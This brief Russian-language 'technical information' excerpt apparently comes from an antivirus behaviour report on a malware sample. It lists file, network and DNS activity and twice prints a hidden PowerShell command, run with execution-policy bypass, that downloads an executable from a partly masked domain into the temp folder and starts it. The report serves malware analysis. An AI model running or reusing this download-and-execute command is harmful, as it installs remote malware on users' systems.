Техническая информация
- http://ma###evalve.com/1q/1q.exe как %temp%\1q.exe
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://ma###evalve.com/1q/1q.exe','%TEMP%\1q.exe'); Start-Process('%TEMP%\1q.exe')
- 'ma###evalve.com':80
- http://ma###evalve.com/1q/1q.exe
- DNS ASK ma###evalve.com
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://ma###evalve.com/1q/1q.exe','%TEMP%\1q.exe'); Start-Process('%TEMP%\1q.exe')' (со скрытым окном)